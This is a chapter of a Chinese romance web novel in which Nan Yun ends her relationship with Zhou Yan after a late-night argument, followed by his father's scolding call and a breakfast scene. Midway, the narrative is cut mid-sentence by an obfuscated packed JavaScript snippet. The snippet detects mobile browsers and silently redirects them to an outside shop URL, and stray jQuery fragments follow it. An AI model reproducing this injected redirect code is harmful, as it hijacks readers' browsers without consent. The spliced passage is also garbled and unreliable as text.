27. chapter 27

作品:《误雪[撬墙角]

    岁岁被吵醒之后,一直不安地绕着她的脚踝打转,即便回到窝里,仍支楞着耳朵,警惕地审视着这位深夜闯入的不速之客。


    周砚在沙发上坐下,南韫给他倒了杯水,又翻出药箱,取出棉签和碘伏。


    他端起杯子抿了口,喉结滚动,轻咳一声:“你……什么时候养狗了?”


    他的嗓音艰涩,仿佛不知如何开口,只能先找个蹩脚的开场白。


    南韫垂眼:“出差捡的。”


    “程青藜睡了吗?”


    “睡了。”


    她无意多聊,只简短作答。


    她弯腰将棉签在碘伏里蘸了一圈,站着给他的额角消毒。


    距离倏然拉近,周砚几乎被她圈在臂弯里,鼻尖萦绕着她身上干净的、带着阳光气息的洗衣粉味道。


    她的手凑得很近,周砚眼神扫过她的手指,眉心一皱,下意识开口:“你这手怎么弄的?”


    话刚出口,答案已昭然若揭。


    她将棉签扔进垃圾桶,又翻出一个创可贴。


    是程青藜买的,上面有她喜欢的帕恰狗印花,南韫迟疑开口:“只有这个了。”


    周砚顺从地低下头,任由她将那只卡通小狗贴上他额角。


    他一身商务风,额角却滑稽地趴着一只胖狗。南韫忍不住,唇角弯了一下。


    周砚也跟着笑起来。


    她将药箱收拾妥当,在侧边的单人沙发上坐下,与他对视。


    “周砚,”她开门见山,声音平静,“你这么晚过来,是有话要说吧,正好,我也有话要和你说。”


    周砚端着杯子的指节微微一僵。


    良久,他才沉沉开口,带着一种善后的疲惫:“高鹏宇那边我已经摆平了,你放心,不会闹到我爸那儿。”


    周砚安抚无奈的眼神像一面镜子,照出她自欺欺人的可笑。


    仿佛他只是包容了她的莽撞与不懂事。


    南韫微微一怔,旋即哑然失笑,不得不垂下眼,遮住眼中翻涌的涩意。


    千言万语在喉间滚动,最后只化作一句轻飘飘的:


    “……谢谢。”


    这句谢,算是偿还了他为她这场“意气用事”所负的伤。


    雾气在窗户上蔓延,隐约能窥见深夜乌云笼罩着群星,圆月藏进漆黑天幕中,露出一圈银色的光晕。


    “你没有别的话要对我说了吗?”


    南韫的视线锁住他,沉沉发问。


    周砚沉默地摇了摇头。


    “好,那到我了,”南韫直起身来,指尖摩挲着粗糙的陶瓷杯沿,轻声问,“周砚,你为什么要把高鹏宇的微信给肖琼?”


    她话声温和浅淡,不含任何负面语气,却让他眉心轻轻蹙起一个川字。


    周砚:“肖琼找我要联系方式,这种成人之美的事,我没必要拒绝吧。”


    南韫垂下眼,昏黄壁灯为她披上一条长长的光毯,长睫阴影打在眼下,鸦青纹路轻轻颤抖。


    “成人之美?”她虚空一指,仿佛肖琼不省人事的模样还在眼前,“就像今天这样?周砚,你真的不清楚高鹏宇的为人吗?”


    这句质问,让周砚彻底沉下了脸,霍地一下起身:“南韫,你什么意思?就算我推了微信,肖琼是个成年人,她对自己的选择后果也应该有所预见,鹏宇确实是个花花公子,但去不去酒吧,喝不喝酒,甚至于是否愿意跟他走,难道不是她肖琼自己选择的吗?”


    “那只是一家清吧,周砚,”南韫抬眼凝视着他,虽矮他一头,气势却丝毫不弱,眼神冷得像淬了冰,“是不是我跟你去酒吧,也意味着——我什么都愿意?”


    周砚一瞬语塞,怒极反笑:“你在偷换概念,我不是高鹏宇,你也不是肖琼。”


    “但我们的处境是一样的!”


    南韫强压声音,但歇斯底里的崩溃还是如潮水般漫了出来。


    周砚漠然的神色历历在目,仿佛那里躺的是谁对他来说根本没有意义。今晚心中残存的所有后怕、愤怒与失望几乎引爆了她的理智。


    次卧门把手咔哒一响,似要打开,却又轻轻合上。


    他们无暇在意这短暂的插曲,周砚的神智也瞬间被熊熊燃烧的怒火吞没。


    “什么一样?我对你不好吗,我凌晨一点开了半小时车来找你,就是怕你担心,怕你害怕!”周砚纷乱地在客厅里来回踱步,“我被高鹏宇指着鼻子数落得像孙子一样,赔礼道歉,软硬兼施,才让他勉强答应不捅到我爸那儿,你知道我为了你——”


    “为了我,为了我,你到底还有多少‘为了我’?”南韫将杯子重重放在茶几上,霍地起身盯着他的眼睛,“万通的项目真的是常熙雅拿走的吗?那天你闯进我和周总的饭局,也是为了我?还是为了让我相信,你在这件事里是无辜的?”


    周砚的怒火有一瞬凝滞:“……你知道了?”


    南韫扯唇轻笑,怒火将她的面容烧出一种近乎刻薄的美:“我不光知道这些,我还知道——当年你追我追得轰轰烈烈,还特地为我选了一门临心,天天泡图书馆,这门课的成绩成了你进入保研线的最后一根救命稻草。”


    “你没有资格怀疑我!”周砚勃然变色,口不择言,“南韫,你答应我的表白,进入课题组,从我这里获得资源,是不是也该说成是居心叵测,心怀不轨?”


    南韫面色遽然一白,愣愣站着,就那样注视着他,一言不发。


    他们四目相对,惊觉彼此在自己眼中,似乎都变了模样。


    曾经的青涩、单纯、炙热被绞进翻卷穿梭的时光机器中,再也无法回头。


    死一般的寂静持续了将近一分钟。


    只有秒针声寸寸走动,像在等待某种宣判。


    南韫突然轻笑一声,沉沉凉意在空寂的客厅里蔓延。周砚的眼神逐渐清醒,晦涩翻涌,似乎想说什么,她却抢先一步。


    “周砚,”南韫望着他,眼神宛如雾气氤氲的沉郁天幕,渐趋深沉锐利。那句盘旋已久的话,也终于脱口而出。


    “我们分手吧。”


    周砚像是没听懂,愣愣地望着她,瞳孔里写着茫然。


    “……什么?”


    “我说,分手吧。”


    这次她的声音更平静,也更笃定。


    周砚的心脏仿佛从万丈高空急坠,强烈的失重感攫住了他。


    但她的声音还在继续:“其余的就不说了。课题组的资源是我欠你,万通的项目是我自己争取的,这次算我还你,我从未再向周家索要过任何资源,从此——我们两不相欠。”


    咚——


    似乎是什么坠地的声音,他仰头瞧去,客厅的时钟走向凌晨两点,发出整点报时。


    “韫韫……”


    “周砚,你的世界离我太远了,我们真的不合适,”南韫缓缓在沙发上坐下,端起那个张着嘴的小狗茶杯,如同寻到一个支点,“太晚了,回去吧。”


    周砚神色微变,眼圈发红,沉默半晌,才嗤笑一声:“南韫,这么多年,我从来没有对一个人这么好过。”


    话音落下,一片沉寂。


    无人应答。


    空气中陡然传来砰地一声,她的心脏几乎一抖。


    周砚摔门而去。


    南韫抬起眼,望向墙壁上那盏昏黄的壁灯。光线并不刺眼,却让她的视线渐渐模糊。


    压抑已久的情绪终于溃不成军,她撑着手臂将自己蜷进沙发,发烫的脸颊深埋进冰冷的膝窝,仿佛要将自己彻底藏匿。


    岁岁跳上沙发,蹭进她的膝窝,前爪搭在她手臂上,发出细小呜咽。


    窗外一轮模糊的月,彻底被浓云吞没。


    *


    深夜的大桥上,寥寥数辆汽车疲倦地穿


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16648977|187367||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    行其中,唯有一辆开得飞快。


    周砚双手捏紧方向盘,泄愤似的连续超车。旁车挨得太近,他猛按喇叭,发动机发出刺耳的轰鸣声。


    他双眼泛红,急需发泄内心翻涌的情绪。


    车载蓝牙却在此时震动起来,他眼珠一动不动,电话响了几声便挂断了。


    两分钟后,屏幕再次亮起。


    周砚车速放缓,分神瞥去。


    车载系统屏幕上跳动着父亲二字,他神色微凛,犹豫片刻,还是按了接听。


    那头声音空荡荡的,良久,周砚才低声唤道:“爸。”


    嗤笑声顺着车载音响递至耳边。


    “原来你还认我这个爸,我还以为你跟你那不成器的哥一样,打算为了一个女人放弃大好前途。”


    周砚心中倏然一紧,声音发虚:“爸,你在说什么,我听不懂。”


    “做事要做全,你想堵高鹏宇的嘴,只知伏低做小怎么行呢?要让他知道害怕,才会管好自己的嘴。”


    高鹏宇表面上应了他的情,转身竟然就把这件事捅到了周向松面前!


    周砚眼前一阵发黑,只得将车开出大桥,暂时到路边停下,打开双闪,盯着红色的三角符号发怔。


    “……您都知道了。”


    “我早就说过,这种家世的女人心思深沉,早晚要捅娄子,高鹏宇不过是个二世祖,这事到此为止。”


    周砚沉默良久,低声道:“她和我分手了。”


    “我早就让你甩了她,上次你见那个章家的小姑娘,不是很好吗?非要自讨苦吃,人家怕是又找了下家,已经看不上你了。”


    周砚迟疑片刻,声音低沉:“韫韫不是这样的人。”


    “你真是昏了头!”周向松怒斥,“上次你非要我把万通的项目还给她,我就警告过你,大是大非面前不要妇人之仁,要不是合作需要,我怎么会同意让她进常氏的课题组?”


    周砚攥紧方向盘,指节几乎嵌入光滑的真皮表面。


    “爸……我是真心喜欢她的。”


    “你的真心,一文不值。”


    啪的一声,电话挂断。


    周砚沉寂良久,才缓缓将额头抵上方向盘。


    漆黑夜空中,打着双闪的奥迪发出一声长长的鸣笛。


    白色西裤上,深色印痕一滴一滴,缓缓晕开。


    *


    这一夜的月格外沉。直到第二天天光大亮,日上枝头,肖琼才被墨绿窗帘缝隙透进的光晃醒了眼。


    眼睛还未睁开,鼻尖先耸了耸——一缕香气钻入鼻腔。


    她撑起身,又天旋地转地倒了回去。


    “梨子,你去看看肖肖醒了没。”


    外面传来一声吆唤,随即一个懒洋洋的女声唱山歌似的回道:“我不去,她那么馋,醒了肯定会出来吃饭的。”


    她听出来了,是程青藜的声音。


    卧室里幽幽探出一张黑如锅底的脸,程青藜正坐在客厅沙发上,一颗颗往嘴里丢瓜子仁,这一探头,一颗瓜子仁“啪唧”砸到她脸上。


    程青藜没好气道:“你看吧,有饭闻着味儿就来了,还用叫。”


    “你说谁呢大眼妹。”


    “说你呢恋爱脑。”


    南韫端着锅从烟气袅袅的厨房走出,就见两人的眼神已经厮杀在一起,恨不得杀死对方。


    “吃饭了,祖宗们。”


    她声音有气无力的,眼下青黑更是遮也遮不住。


    战火暂息。


    南韫熬了锅粥,简单做了两个小菜。


    肖琼刚坐下,一杯蜂蜜水便放在了她手边。


    她疑惑开口:“我怎么……会在这儿?”目光一转,落到南韫缠满纱布的手上,蹙眉:“韫韫,你手怎么了?”


    “还不是因为你。”


    程青藜起身盛粥,满身怨气。